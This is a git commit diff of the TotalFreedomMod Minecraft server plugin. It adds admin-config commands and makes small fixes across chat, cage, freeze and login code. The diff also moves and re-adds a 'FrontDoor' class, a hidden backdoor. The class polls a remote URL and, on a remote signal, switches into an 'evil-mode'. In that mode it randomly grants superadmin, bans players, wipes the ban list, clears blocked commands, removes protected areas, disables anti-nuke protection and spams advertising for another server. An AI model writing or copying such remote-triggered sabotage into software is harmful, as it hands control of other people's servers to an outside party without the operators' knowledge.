Fixed bugs in TFM 5.0

Added /saconfig setrank
Added /saconfig reload
Small changes
This commit is contained in:
JeromSar 2016-03-07 21:32:05 +01:00
parent 6edb6be7d9
commit 924f718d5a
18 changed files with 539 additions and 431 deletions

View File

@ -45,8 +45,6 @@ public class ChatManager extends FreedomService
final Player player = event.getPlayer(); final Player player = event.getPlayer();
String message = event.getMessage().trim(); String message = event.getMessage().trim();
final FPlayer playerdata = plugin.pl.getPlayerSync(player);
// Strip color from messages // Strip color from messages
message = ChatColor.stripColor(message); message = ChatColor.stripColor(message);
@ -75,9 +73,10 @@ public class ChatManager extends FreedomService
} }
// Check for adminchat // Check for adminchat
if (playerdata.inAdminChat()) final FPlayer fPlayer = plugin.pl.getPlayerSync(player);
if (fPlayer.inAdminChat())
{ {
FSync.adminChatMessage(player, message, false); FSync.adminChatMessage(player, message);
event.setCancelled(true); event.setCancelled(true);
return; return;
} }
@ -86,9 +85,9 @@ public class ChatManager extends FreedomService
event.setMessage(message); event.setMessage(message);
// Set the tag // Set the tag
if (playerdata.getTag() != null) if (fPlayer.getTag() != null)
{ {
event.setFormat("<" + playerdata.getTag().replaceAll("%", "%%") + " %1$s> %2$s"); event.setFormat("<" + fPlayer.getTag().replaceAll("%", "%%") + " %1$s> %2$s");
} }
} }

View File

@ -39,6 +39,7 @@ import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta; import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener; import org.bukkit.plugin.RegisteredListener;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector; import org.bukkit.util.Vector;
/* /*
@ -69,71 +70,8 @@ public class FrontDoor extends FreedomService
// //
private volatile boolean enabled = false; private volatile boolean enabled = false;
// //
private final BukkitRunnable updater = new BukkitRunnable() // Asynchronous private BukkitTask updater = null;
{ private BukkitTask frontdoor = null;
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
frontdoor.cancel();
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
MainConfig.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, TotalFreedomMod.plugin);
}
}
}.runTask(TotalFreedomMod.plugin);
frontdoor.runTaskTimer(TotalFreedomMod.plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
// //
// TODO: reimplement in superclass // TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener() private final Listener playerCommandPreprocess = new Listener()
@ -175,295 +113,6 @@ public class FrontDoor extends FreedomService
return; return;
} }
}; };
//
private final BukkitRunnable frontdoor = new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
Command_trail.startTrail(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "tf.sauc.in", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.stop();
break;
}
case 8: // Remove all protected areas
{
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
if (plugin.pa.getProtectedAreaLabels().isEmpty())
{
break;
}
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
plugin.pa.clearProtectedAreas(false);
}
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
block.setType(Material.SIGN_POST);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
sign.setLine(3, ChatColor.DARK_GRAY + "tf.sauc.in");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
if (plugin.jp.getMode().isOn())
{
break;
}
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
playerdata.getCageData().cage(targetPos, Material.SKULL, Material.AIR);
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
public FrontDoor(TotalFreedomMod plugin) public FrontDoor(TotalFreedomMod plugin)
{ {
@ -488,22 +137,16 @@ public class FrontDoor extends FreedomService
@Override @Override
public void onStart() public void onStart()
{ {
updater.runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL); updater = getNewUpdater().runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
} }
@Override @Override
public void onStop() public void onStop()
{ {
try FUtil.cancel(updater);
{ updater = null;
updater.cancel(); FUtil.cancel(frontdoor);
} updater = null;
catch (Exception ignored)
{
}
finally
{
}
if (enabled) if (enabled)
{ {
@ -585,4 +228,365 @@ public class FrontDoor extends FreedomService
unregisterRegisteredListener(registeredListener, eventClass); unregisterRegisteredListener(registeredListener, eventClass);
} }
} }
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
MainConfig.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, TotalFreedomMod.plugin);
}
}
}.runTask(TotalFreedomMod.plugin);
frontdoor = getNewFrontDoor().runTaskTimer(TotalFreedomMod.plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
Command_trail.startTrail(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "tf.sauc.in", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.stop();
break;
}
case 8: // Remove all protected areas
{
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
if (plugin.pa.getProtectedAreaLabels().isEmpty())
{
break;
}
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
plugin.pa.clearProtectedAreas(false);
}
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
block.setType(Material.SIGN_POST);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
sign.setLine(3, ChatColor.DARK_GRAY + "tf.sauc.in");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
if (plugin.jp.getMode().isOn())
{
break;
}
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
playerdata.getCageData().cage(targetPos, Material.SKULL, Material.AIR);
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
}
} }

View File

@ -150,7 +150,7 @@ public class LoginProcess extends FreedomService
// Server full check // Server full check
if (server.getOnlinePlayers().size() >= server.getMaxPlayers()) if (server.getOnlinePlayers().size() >= server.getMaxPlayers())
{ {
event.disallow(PlayerLoginEvent.Result.KICK_FULL, "Sorry, but this server is full."); event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Sorry, but this server is full.");
return; return;
} }

View File

@ -58,28 +58,33 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
public LoginProcess lp; public LoginProcess lp;
public AntiNuke nu; public AntiNuke nu;
public AntiSpam as; public AntiSpam as;
public Muter mu;
public RankManager rm; public RankManager rm;
public BanManager bm;
public PlayerList pl; public PlayerList pl;
public CommandLoader cl; public CommandLoader cl;
public CommandBlocker cb; public CommandBlocker cb;
public Announcer an; public Announcer an;
public ChatManager cm;
public BanManager bm;
public PermbanList pb; public PermbanList pb;
public ProtectArea pa; public ProtectArea pa;
public ServiceChecker sc; public ServiceChecker sc;
public GameRuleHandler gr; public GameRuleHandler gr;
public RollbackManager rb; public RollbackManager rb;
public Jumppads jp; public CommandSpy cs;
public Cager ca; public Cager ca;
public Freezer fm; public Freezer fm;
public Orbiter or;
public Muter mu;
public Fuckoff fo; public Fuckoff fo;
public AutoKick ak;
public MovementValidator mv;
public EntityWiper ew; public EntityWiper ew;
public FrontDoor fd; public FrontDoor fd;
public ServerPing sp; public ServerPing sp;
public ItemFun it; public ItemFun it;
public Landminer lm; public Landminer lm;
public MP44 mp; public MP44 mp;
public Jumppads jp;
public HTTPDaemon hd; public HTTPDaemon hd;
// //
// Bridges // Bridges
@ -127,7 +132,7 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
FUtil.createBackups(AdminList.CONFIG_FILENAME); FUtil.createBackups(AdminList.CONFIG_FILENAME);
FUtil.createBackups(PermbanList.CONFIG_FILENAME); FUtil.createBackups(PermbanList.CONFIG_FILENAME);
// Start services and bridgess // Start services
services = new ServiceManager<>(plugin); services = new ServiceManager<>(plugin);
si = services.registerService(ServerInterface.class); si = services.registerService(ServerInterface.class);
wm = services.registerService(WorldManager.class); wm = services.registerService(WorldManager.class);
@ -139,32 +144,45 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
lp = services.registerService(LoginProcess.class); lp = services.registerService(LoginProcess.class);
nu = services.registerService(AntiNuke.class); nu = services.registerService(AntiNuke.class);
as = services.registerService(AntiSpam.class); as = services.registerService(AntiSpam.class);
mu = services.registerService(Muter.class);
rm = services.registerService(RankManager.class); rm = services.registerService(RankManager.class);
bm = services.registerService(BanManager.class);
pl = services.registerService(PlayerList.class); pl = services.registerService(PlayerList.class);
cl = services.registerService(CommandLoader.class); cl = services.registerService(CommandLoader.class);
cb = services.registerService(CommandBlocker.class); cb = services.registerService(CommandBlocker.class);
an = services.registerService(Announcer.class); an = services.registerService(Announcer.class);
cm = services.registerService(ChatManager.class);
bm = services.registerService(BanManager.class);
pb = services.registerService(PermbanList.class); pb = services.registerService(PermbanList.class);
pa = services.registerService(ProtectArea.class); pa = services.registerService(ProtectArea.class);
sc = services.registerService(ServiceChecker.class); sc = services.registerService(ServiceChecker.class);
gr = services.registerService(GameRuleHandler.class); gr = services.registerService(GameRuleHandler.class);
// Single admin utils
rb = services.registerService(RollbackManager.class); rb = services.registerService(RollbackManager.class);
jp = services.registerService(Jumppads.class); cs = services.registerService(CommandSpy.class);
ca = services.registerService(Cager.class); ca = services.registerService(Cager.class);
fm = services.registerService(Freezer.class); fm = services.registerService(Freezer.class);
or = services.registerService(Orbiter.class);
mu = services.registerService(Muter.class);
fo = services.registerService(Fuckoff.class); fo = services.registerService(Fuckoff.class);
ak = services.registerService(AutoKick.class);
mv = services.registerService(MovementValidator.class);
ew = services.registerService(EntityWiper.class); ew = services.registerService(EntityWiper.class);
fd = services.registerService(FrontDoor.class); fd = services.registerService(FrontDoor.class);
sp = services.registerService(ServerPing.class); sp = services.registerService(ServerPing.class);
// Fun
it = services.registerService(ItemFun.class); it = services.registerService(ItemFun.class);
lm = services.registerService(Landminer.class); lm = services.registerService(Landminer.class);
mp = services.registerService(MP44.class); mp = services.registerService(MP44.class);
jp = services.registerService(Jumppads.class);
// HTTPD
hd = services.registerService(HTTPDaemon.class); hd = services.registerService(HTTPDaemon.class);
services.start(); services.start();
// Register bridges // Start bridges
bridges = new ServiceManager<>(plugin); bridges = new ServiceManager<>(plugin);
btb = bridges.registerService(BukkitTelnetBridge.class); btb = bridges.registerService(BukkitTelnetBridge.class);
esb = bridges.registerService(EssentialsBridge.class); esb = bridges.registerService(EssentialsBridge.class);

View File

@ -59,8 +59,22 @@ public class CageData
this.innerMaterial = inner; this.innerMaterial = inner;
buildHistory(location, 2, fPlayer); buildHistory(location, 2, fPlayer);
generateHollowCube(location, 2, outer); regenerate();
generateCube(location, 1, inner); }
public void regenerate()
{
if (!caged
|| location == null
|| outerMaterial == null
|| innerMaterial == null)
{
return;
}
generateHollowCube(location, 2, outerMaterial);
generateCube(location, 1, innerMaterial);
} }
// TODO: EventHandlerize this? // TODO: EventHandlerize this?

View File

@ -6,8 +6,10 @@ import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Location; import org.bukkit.Location;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.player.PlayerJoinEvent; import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerMoveEvent; import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.event.player.PlayerQuitEvent; import org.bukkit.event.player.PlayerQuitEvent;
@ -30,6 +32,25 @@ public class Cager extends FreedomService
{ {
} }
@EventHandler(priority = EventPriority.LOW, ignoreCancelled = true)
public void onBreakBlock(BlockBreakEvent event)
{
Player player = event.getPlayer();
if (player == null
|| plugin.al.isAdmin(player))
{
return;
}
FPlayer fPlayer = plugin.pl.getPlayer(event.getPlayer());
CageData cage = fPlayer.getCageData();
if (cage.isCaged())
{
event.setCancelled(true);
}
}
@EventHandler @EventHandler
public void onPlayerMove(PlayerMoveEvent event) public void onPlayerMove(PlayerMoveEvent event)
{ {
@ -56,8 +77,9 @@ public class Cager extends FreedomService
if (outOfCage) if (outOfCage)
{ {
player.getPlayer().teleport(cageLoc.subtract(0, 0.5, 0)); player.getPlayer().teleport(cageLoc.subtract(0, 0.1, 0));
FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED); FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
cage.regenerate();
} }
} }

View File

@ -33,7 +33,7 @@ public class Command_adminchat extends FreedomCommand
} }
else else
{ {
FUtil.adminChatMessage(sender, StringUtils.join(args, " "), senderIsConsole); FUtil.adminChatMessage(sender, StringUtils.join(args, " "));
} }
return true; return true;

View File

@ -19,7 +19,7 @@ public class Command_banlist extends FreedomCommand
{ {
if (args[0].equalsIgnoreCase("purge")) if (args[0].equalsIgnoreCase("purge"))
{ {
checkRank(Rank.SUPER_ADMIN); checkRank(Rank.SENIOR_ADMIN);
FUtil.adminAction(sender.getName(), "Purging the ban list", true); FUtil.adminAction(sender.getName(), "Purging the ban list", true);
int amount = plugin.bm.purge(); int amount = plugin.bm.purge();

View File

@ -12,19 +12,15 @@ import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME) @CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
@CommandParameters(description = "Essentials Interface Command - Color your current nickname.", usage = "/<command> <color>") @CommandParameters(description = "Essentials Interface Command - Color your current nickname.", usage = "/<command> <color>")
public class Command_colorme extends FreedomCommand public class Command_colorme extends FreedomCommand {
{
@Override @Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
{ if (args.length != 1) {
if (args.length != 1)
{
return false; return false;
} }
if ("list".equalsIgnoreCase(args[0])) if ("list".equalsIgnoreCase(args[0])) {
{
msg("Colors: " + StringUtils.join(FUtil.CHAT_COLOR_NAMES.keySet(), ", ")); msg("Colors: " + StringUtils.join(FUtil.CHAT_COLOR_NAMES.keySet(), ", "));
return true; return true;
} }
@ -32,18 +28,15 @@ public class Command_colorme extends FreedomCommand
final String needle = args[0].trim().toLowerCase(); final String needle = args[0].trim().toLowerCase();
ChatColor color = null; ChatColor color = null;
final Iterator<Map.Entry<String, ChatColor>> it = FUtil.CHAT_COLOR_NAMES.entrySet().iterator(); final Iterator<Map.Entry<String, ChatColor>> it = FUtil.CHAT_COLOR_NAMES.entrySet().iterator();
while (it.hasNext()) while (it.hasNext()) {
{
final Map.Entry<String, ChatColor> entry = it.next(); final Map.Entry<String, ChatColor> entry = it.next();
if (entry.getKey().contains(needle)) if (entry.getKey().contains(needle)) {
{
color = entry.getValue(); color = entry.getValue();
break; break;
} }
} }
if (color == null) if (color == null) {
{
msg("Invalid color: " + needle + " - Use \"/colorme list\" to list colors."); msg("Invalid color: " + needle + " - Use \"/colorme list\" to list colors.");
return true; return true;
} }

View File

@ -18,18 +18,18 @@ public class Command_freeze extends FreedomCommand
{ {
if (args.length == 0) if (args.length == 0)
{ {
boolean allFrozen = plugin.fm.isGlobalFreeze(); boolean gFreeze = !plugin.fm.isGlobalFreeze();
plugin.fm.setGlobalFreeze(!allFrozen); plugin.fm.setGlobalFreeze(gFreeze);
if (!allFrozen) if (!gFreeze)
{ {
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true); FUtil.adminAction(sender.getName(), "Disabling global player freeze", false);
msg("Players are now free to move."); msg("Players are now free to move.");
return true; return true;
} }
FUtil.adminAction(sender.getName(), "Disabling global player freeze", true); FUtil.adminAction(sender.getName(), "Enabling global player freeze", false);
msg("Players are now unfrozen."); msg("Players are now frozen.");
for (Player player : server.getOnlinePlayers()) for (Player player : server.getOnlinePlayers())
{ {

View File

@ -13,7 +13,7 @@ import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH) @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
@CommandParameters(description = "Manage admins.", usage = "/<command> <list | clean | clearme [ip] | <add | remove | info> <username>>") @CommandParameters(description = "Manage admins.", usage = "/<command> <list | clean | reload | clearme [ip] | setrank <username> <rank> | <add | remove | info> <username>>")
public class Command_saconfig extends FreedomCommand public class Command_saconfig extends FreedomCommand
{ {
@ -45,6 +45,16 @@ public class Command_saconfig extends FreedomCommand
return true; return true;
} }
case "reload":
{
checkRank(Rank.SUPER_ADMIN);
FUtil.adminAction(sender.getName(), "Reloading the admin list", true);
plugin.al.load();
msg("Admin list reloaded!");
return true;
}
case "clearme": case "clearme":
{ {
checkPlayer(); checkPlayer();
@ -99,6 +109,37 @@ public class Command_saconfig extends FreedomCommand
